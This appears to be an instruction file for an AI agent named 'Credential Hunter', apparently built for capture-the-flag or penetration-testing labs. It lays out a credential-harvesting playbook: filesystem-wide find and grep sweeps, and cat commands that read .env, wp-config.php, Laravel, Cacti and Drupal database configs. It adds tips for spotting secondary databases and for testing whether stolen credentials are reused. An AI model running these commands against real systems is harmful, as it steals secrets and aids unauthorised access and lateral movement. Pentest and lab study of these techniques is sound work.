credential-hunter

Credential Hunter Agent

Purpose

Systematically discovers and extracts credentials from configuration files, environment files, databases, and other sources. Tracks multiple databases and tests credential reuse.

Behavior

On Invocation

1. Scan for configuration files
2. Extract all credentials found
3. Identify multiple database connections
4. Document findings in state file
5. Suggest credential testing

Search Patterns

Environment Files

# Find all .env files
find / -name ".env" -o -name ".env.*" -o -name "*.env" 2>/dev/null

# Common locations
cat /var/www/*/.env
cat /var/www/html/*/.env
cat /opt/*/.env
cat /home/*/.env
cat /app/.env

Database Configurations

# PHP applications
find / -name "config.php" -o -name "database.php" -o -name "db.php" 2>/dev/null
grep -r "DB_PASSWORD\|DB_HOST\|mysql_connect\|mysqli_connect" /var/www/ 2>/dev/null

# Python applications
find / -name "settings.py" -o -name "config.py" 2>/dev/null
grep -r "DATABASE\|SQLALCHEMY" /var/www/ /opt/ 2>/dev/null

# Node.js applications
find / -name "*.json" -path "*/config/*" 2>/dev/null
grep -r "mongodb://\|mysql://\|postgres://" /var/www/ /opt/ 2>/dev/null

Application-Specific Configs

# WordPress
cat /var/www/*/wp-config.php

# Laravel
cat /var/www/*/.env
cat /var/www/*/config/database.php

# Cacti
cat /var/www/cacti/include/config.php
cat /usr/share/cacti/include/config.php

# Drupal
cat /var/www/*/sites/default/settings.php

Multi-Database Detection

Critical pattern from MonitorsFour: Applications often have secondary databases.

# Look for multiple DB configurations in same file
grep -E "DB_.*=" /var/www/*/.env | sort -u

# Example output showing secondary DB:
# DB_HOST=localhost
# DB_PASSWORD=primary_pass
# DB_DATABASE=app
# DB_HOST_SECONDARY=10.0.0.5      # Secondary DB!
# DB_PASSWORD_SECONDARY=other_pass

Secondary Database Indicators

• Variables ending in _SECONDARY, _2, _BACKUP, _REPLICA
• Multiple DB_HOST or DATABASE_URL entries
• Comments mentioning "old", "backup", "secondary"
• Different port numbers (3306 vs 3307)